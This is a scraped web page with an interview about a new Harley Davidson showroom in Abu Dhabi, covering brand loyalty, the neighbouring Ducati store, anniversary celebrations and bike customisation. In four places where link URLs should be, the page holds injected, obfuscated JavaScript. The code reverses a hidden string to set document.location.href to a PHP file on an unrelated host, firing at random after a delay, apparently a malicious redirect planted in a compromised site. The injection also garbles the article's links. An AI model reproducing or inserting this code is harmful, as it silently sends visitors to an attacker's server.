$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Harley-Davidson-Abu-Dhabi-015.jpg” alt=”” width=”728″ height=”485″ />
And do you think this ‘destination’ will encourage others to give Harley Davidson a go?
“Of course there is a commercial element to it. We need to tie our customers to us. We need to improve brand loyalty. Harley Davidson is already an iconic brand: I don’t know of any other brand that people tattoo onto their skin! But what we are looking to do is get closer to our customers. We ride with our customers, we party with our customers and we live the same lifestyle as our customers. So that is what this facility is all about.”
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Let’s move on to Harley Davidson as a brand. Why is it so iconic?
“(Laughs) There’s a t-shirt logo that I think is quite appropriate here: ‘if I have to explain it, you won’t understand’! We should be able to explain this, but it’s such an intangible element. People don’t buy Harley Davidson for the motorcycles. They buy into the whole lifestyle. It’s about the clothing. It’s about merchandising. It’s about friends. It’s about relationships. We try to transcend the normal transaction relationship there is with customers and create a big family. The Harley Owners Group (HOG) as a riding fraternity is all about brotherhood and sisterhood, and that’s probably what differentiates us most from any other brand.”
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Interesting that you mention ‘lifestyle’ and ‘differentiate’ there, since I seem to recall the Ducati team mentioning similar principles – albeit in a slightly different way – $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/ducati-abu-dhabi-the-red-carpet-treatment/” target=”_blank”>when they opened they showroom next door…
“I can see that, but there is a difference. Ducati is a sports bike. It’s hard and fast, whereas Harley Davidson is more of a cruiser. It’s not about the destination, it’s all about the journey. On a Ducati, you get where you’re going and you get there fast, and enjoy the buzz. Harley Davidson though is lifestyle more than anything else.”
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So a very different kind of competitor next door, but a competitor nonetheless…?
“Strangely enough, we share many customers. Many of them have a Harley Davidson and a Ducati, because they are poles apart in the riding style. We have guys that have been sport bike riders for many years, and they now want a more leisurely ride experience. We have customers who have been Harley riders for many years, and now want a more ‘on the edge’ riding experience, so often they’ll have both bikes. In that way, we compliment each other!”
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Harley Davidson $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/harley-davidson-celebrating-110-years/” target=”_blank”>celebrates 110 years in 2012, and opening a new showroom (sorry, destination) is certainly a way to celebrate that. What else have you got in store?
“On Friday this coming week [19 October], we will have a…party, for want of a better word(!), where we’ll have somewhere in the region of 300-500 riders, coming from all across the UAE. Wherever there’s a rider, we want them to come down. We’ll have live music, barbeques, fire breathers, stilt walkers, y’know a real carnival celebration. As part of that, there’s also a charity parade for the United Nations World Food Programme. Riders can buy a pin, and each pin will feed thirty children. So there’s that. On the Saturday [20 October], we’ll also have a similar experience in Dubai. So, two cities, two unique iconic destinations, and a party that’s just going to span the weekend.
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Presumably Harley Davidson as a company has something pretty special lined up…
“Harley Davidson is also producing a limited range of 110th anniversary bikes. Then we have Harley’s Customer Vehicles Operations, which will be creating some anniversary $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/harley-davidson-road-glide-cvo-hitting-the-mark/” target=”_blank”>CVO motorcycles, and that only happens every five years. They are very desirable, and obviously very difficult tot get hold of! I don’t know how many I’m going to get, but I’ll take as many as I can! There’s also a range of merchandise that goes alongside that.
“It’s not just the 110th anniversary of Harley Davidson either, it’s the 100th anniversary of MotorClothes – and I think that’s quite unique – and it’s also the 30th anniversary of HOG, the Harley Owners Group. So again, we’ll be partying a lot!”
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Customisation is a massive business in the automotive and bike sectors in the Middle East. Do you think Harley Davidson caters strongly to that ideology?
“It’s what it’s all about! You can go and buy a Harley from new from a dealer, and then spend just as much money making it your own. The number of custom bikes we have in the UAE is phenomenal! It’s not just about the money for the customers. It’s about taking something that’s already an iconic brand and making it your own. It’s personalisation. There is very few stock Harley Davidsons out there. Everybody does something that is unique.
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“We have perhaps the largest display of accessories, certainly in the Middle East, and possibly in the Middle East and Europe. We’re looking to develop some add-ons for the customers too. We’re considering airbrush artists: not chop shops, but metalwork certainly. Customisation is critical for our product offers, and we’ll develop that as time goes on.”
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Speaking of development, what can we expect from Harley Davidson’s new home in Abu Dhabi?
“Abu Dhabi is not isolated. The initial investment is part of a gross strategy we have in the UAE. So we will be looking to make more investments in other emirates. In five years time, I’d like to see this facility being the biggest volume dealer in the Middle East. And there’s no reason why we can’t achieve that.”
